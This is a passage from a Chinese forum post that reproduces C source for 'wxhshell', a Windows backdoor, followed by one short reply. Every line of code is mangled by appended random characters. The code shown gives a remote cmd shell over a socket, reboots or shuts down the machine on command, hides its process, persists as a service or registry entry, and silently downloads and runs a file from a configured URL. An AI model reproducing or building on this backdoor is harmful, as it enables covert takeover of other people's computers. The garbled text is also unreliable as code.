    switch(cmd[0]) { K_/-mwA v  
  v4M1uJ8  
  // 帮助 O?`=<W/R  
  case '?': { l 2&cwjc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nx{_^sK  
    break; _$s ;QI]x  
  } *12,MO>go  
  // 安装 -|E|-'  
  case 'i': { R^8L^8EL  
    if(Install()) D7q%rO|F'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lmmB=F  
    else &'%b1CbE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'a]4]d  
    break; f#4,2Xf  
    } Wp2b*B=-  
  // 卸载 ['9awgkr/  
  case 'r': { Py^ _::  
    if(Uninstall()) U*Q1(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dn{ hU $*  
    else )qXl8HI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) 0p9I0=  
    break; h SGI  
    } ]O%wZIp\P  
  // 显示 wxhshell 所在路径 E=N44[`.G  
  case 'p': { 9A|deETa-  
    char svExeFile[MAX_PATH]; vo48\w7[  
    strcpy(svExeFile,"\n\r"); h#_KO-#.[  
      strcat(svExeFile,ExeFile); `re9-HM  
        send(wsh,svExeFile,strlen(svExeFile),0); jUny&Alj  
    break; &T7|f!y  
    } =Xwr*FTr  
  // 重启 DH7B4P  
  case 'b': { l#40VHa?S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qs v3`c  
    if(Boot(REBOOT)) %N((p[\H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<_gY  
    else { 5Q_ T=TL  
    closesocket(wsh); QGv$~A[h  
    ExitThread(0); h7],/? s  
    } n*%o!=  
    break; rHS;wT  
    } Zp5;=8wa;  
  // 关机 >lyX";X#  
  case 'd': { NBLiwL37{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W lD cKY  
    if(Boot(SHUTDOWN)) ;ZnSWIF2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Y/{q B!  
    else { _8*}S=  
    closesocket(wsh); 4k}3^.#  
    ExitThread(0); )- 2sk@y  
    } .I~#o$6  
    break; ZkbaUIQ  
    } [VvTR#^  
  // 获取shell 7d9kr?3(U  
  case 's': { jg2 UX   
    CmdShell(wsh); cvoE4&m!  
    closesocket(wsh); q. i2BoOd  
    ExitThread(0); m 2tw[6M  
    break; xZmO^F5KHj  
  } G)p pkH`qj  
  // 退出 Cxn<#Kf\-<  
  case 'x': { *t_"]v-w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q_0So}  
    CloseIt(wsh); ;3\oU$'  
    break; YH_mWN\Wu  
    } +sN'Y/-  
  // 离开 \0}!qG![AA  
  case 'q': { YIP /N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {VB n@^'s  
    closesocket(wsh); , `4chD  
    WSACleanup(); F0 yvV6;  
    exit(1); g43j-[j)  
    break; ,tt .oF|  
        } r>!$eqX_  
  } _G$SA-W(  
  } ^,P# <,D,  
->BGeP_=|  
  // 提示信息 ,r$k79TI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M%*D}s-QE  
} cr}T ? $\K  
  } v|\<N!g  
(lNV\Za  
  return; (P( =6-0  
} M @|n"(P  
IJWUNKqo=  
// shell模块句柄 uL\b*rI  
int CmdShell(SOCKET sock) jkTh)Bm|'  
{ Se0!-NUK0  
STARTUPINFO si; nRP|Qt7>  
ZeroMemory(&si,sizeof(si)); & XS2q0-x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NNKI+!vg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z&f@)j  
PROCESS_INFORMATION ProcessInfo; )K=%s%3h<  
char cmdline[]="cmd"; 3K8#,TK3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5y 9(<}z  
  return 0; @W4tnM,#  
} VR8 kY&  
HDmjt+3&n  
// 自身启动模式 S JseP_-  
int StartFromService(void) GJu[af  
{ x.5!F2$  
typedef struct LB(I^  
{ JEw+5 MO@  
  DWORD ExitStatus; 4tQ~Z6Jn;  
  DWORD PebBaseAddress; *3uBS2Ld  
  DWORD AffinityMask; > whcZ.8  
  DWORD BasePriority; %anY'GK   
  ULONG UniqueProcessId; fU6O:-  
  ULONG InheritedFromUniqueProcessId; {Xw6]d  
}   PROCESS_BASIC_INFORMATION; 3MmpB9l#H  
(D\7EH\9,]  
PROCNTQSIP NtQueryInformationProcess; :,@"I$>*/  
_Q9Mn-&qQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )bd)noZi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $#ve^.VHv  
-Kas9\VWEw  
  HANDLE             hProcess; _1c0pQ^}3  
  PROCESS_BASIC_INFORMATION pbi; ?S*Cvr+=4  
_u[2R=h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1g{-DIOmn  
  if(NULL == hInst ) return 0; 9\QeH'A  
 wZ(H[be  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cuw 7P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e9LP!"@EY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S'%|40U  
p#\JKx  
  if (!NtQueryInformationProcess) return 0; |)Q#U$ m  
H%nA"-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EJCf[#Sf  
  if(!hProcess) return 0; +jEtu[ ;  
Z! /!4(Fh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q!91uNL  
7R4t%^F  
  CloseHandle(hProcess); <:n !qQS6  
vvTQ!Aa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X7bS{GT  
if(hProcess==NULL) return 0; $fzO:br5WJ  
rexNsKRK_  
HMODULE hMod; @QN(ouqQ  
char procName[255]; A_y]6~Mu?~  
unsigned long cbNeeded; Nv~H797B  
$_ BoG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FI(iqSJ6  
d3[O!4<T  
  CloseHandle(hProcess); qxQuXF>:#  
<Jf[N=  
if(strstr(procName,"services")) return 1; // 以服务启动 |3bCq(ZR\P  
eT'Z;ZO  
  return 0; // 注册表启动 *=2sXH1j  
} X([8TR  
<hV%OrBz-  
// 主模块 [ ,&O  
int StartWxhshell(LPSTR lpCmdLine) Irc(5rD7   
{ fi,h`mdT?  
  SOCKET wsl; 8v ZY+Q >  
BOOL val=TRUE; %w3Y!7+  
  int port=0; 4:I'zR5  
  struct sockaddr_in door; ^pysoaZCT_  
?mA%`*=q  
  if(wscfg.ws_autoins) Install(); nI es}n:  
x+;a2yE~  
port=atoi(lpCmdLine); m|M'vzu1  
H{BP7!t[V  
if(port<=0) port=wscfg.ws_port; ]aMeMhe-  
SWLt5dV  
  WSADATA data; iW9o-W a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +F4SU(T  
uxOeD%Z>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [0?W>A*h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lVYrP|#  
  door.sin_family = AF_INET; E*Z# fa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TPF5?  
  door.sin_port = htons(port); +V` *  
l+UUv]:1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W7` fI*lc  
closesocket(wsl); -z~;f<+I`  
return 1; fEB&)mM  
} ?r'2GR2Sk4  
h@{mcz  
  if(listen(wsl,2) == INVALID_SOCKET) { g}OZ!mKd  
closesocket(wsl); 1!=^mu8  
return 1; s L=}d[  
} 6Bf aB:  
  Wxhshell(wsl); mUdj2vB$+'  
  WSACleanup(); i",7<01  
8W2oGL6  
return 0; rizWaw5E!8  
0,]m.)ws  
} _+6aD|7x  
J3z:U&%=  
// 以NT服务方式启动 Fl}{"eCF8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <}Hs@`jS  
{ n)uck5  
DWORD   status = 0; i}gsxq%  
  DWORD   specificError = 0xfffffff; KK';ho,W  
#8/pYQ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V^%P}RFMc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7t3ps  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DLH|y%"  
  serviceStatus.dwWin32ExitCode     = 0; vACJE  
  serviceStatus.dwServiceSpecificExitCode = 0; V%Ww;Ca]I  
  serviceStatus.dwCheckPoint       = 0; :[J'B4>9  
  serviceStatus.dwWaitHint       = 0; ku5vaP(  
sKwUY{u\M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [:(hqi!  
  if (hServiceStatusHandle==0) return; >pm`(zLn  
E0)43  
status = GetLastError(); sW&5Mu-  
  if (status!=NO_ERROR) xl ]1TB@  
{ x~u"KU2B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1W'0h$5^"  
    serviceStatus.dwCheckPoint       = 0; z(n Ba]^[F  
    serviceStatus.dwWaitHint       = 0; e|d~&Bk0  
    serviceStatus.dwWin32ExitCode     = status; E<[ Y KY  
    serviceStatus.dwServiceSpecificExitCode = specificError; fZavZ\qU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y#{v\h Cz  
    return; 6 hiWgbE  
  } 1d 1 ~`B  
O?$]/d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A4daIhP (  
  serviceStatus.dwCheckPoint       = 0; Dnp><%  
  serviceStatus.dwWaitHint       = 0; [.'9Sw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J3XrlSc  
} Tn"^`\m  
uqvS  
// 处理NT服务事件,比如:启动、停止 uI\6":/u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WXQ+`OH7  
{ %+iAL<S  
switch(fdwControl) kfgkZ"9  
{ {u[_^  
case SERVICE_CONTROL_STOP: )l H`a  
  serviceStatus.dwWin32ExitCode = 0; 7d^ ~.F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _>E=.$  
  serviceStatus.dwCheckPoint   = 0; @y2cC6+'t  
  serviceStatus.dwWaitHint     = 0; 9/h[(qvT  
  { 8l*h\p:Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;R]~9Aan  
  } k`B S{,=  
  return; z#B(1uI  
case SERVICE_CONTROL_PAUSE: d*_rJE}B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l?B=5*0  
  break;  joBS{]  
case SERVICE_CONTROL_CONTINUE: 8osP$"/o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )%09j0y>l"  
  break; $DW__h  
case SERVICE_CONTROL_INTERROGATE: #A&49a3^1  
  break; 5><T#0W?  
}; f0{j/+F_o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _9y! ,ST  
} DMA`Jx  
FEdFGT  
// 标准应用程序主函数 @rS(3wu_&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9v/=o`J#  
{ )|6OPR@(#/  
#$;}-*  
// 获取操作系统版本 ^/I.? :+  
OsIsNt=GetOsVer(); gh `]OxA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \ #N))gAQ  
V8rS~'{\  
  // 从命令行安装 "(mF5BE-E  
  if(strpbrk(lpCmdLine,"iI")) Install(); `<-/e%8  
<k 'zz:[c!  
  // 下载执行文件 s6k(K>Pl  
if(wscfg.ws_downexe) { S1#5oy2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c8Nl$|B  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1&RB=7.h  
}  Vqr]Ui  
ar _@"+tZ  
if(!OsIsNt) { jLn|zK  
// 如果时win9x,隐藏进程并且设置为注册表启动 !JtM`x/yR  
HideProc(); B,] AfH  
StartWxhshell(lpCmdLine); 3oV2Ek<d  
} 3+&k{UZjt  
else yO` |X  
  if(StartFromService()) >T)tAZ?WK  
  // 以服务方式启动 @F/,~|{iM  
  StartServiceCtrlDispatcher(DispatchTable); 2({|LQqk  
else n~ZZX={a  
  // 普通方式启动 <}G/x*N  
  StartWxhshell(lpCmdLine); rv c%[HfW;  
1DlXsup&?#  
return 0; vX_;Y#uD  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八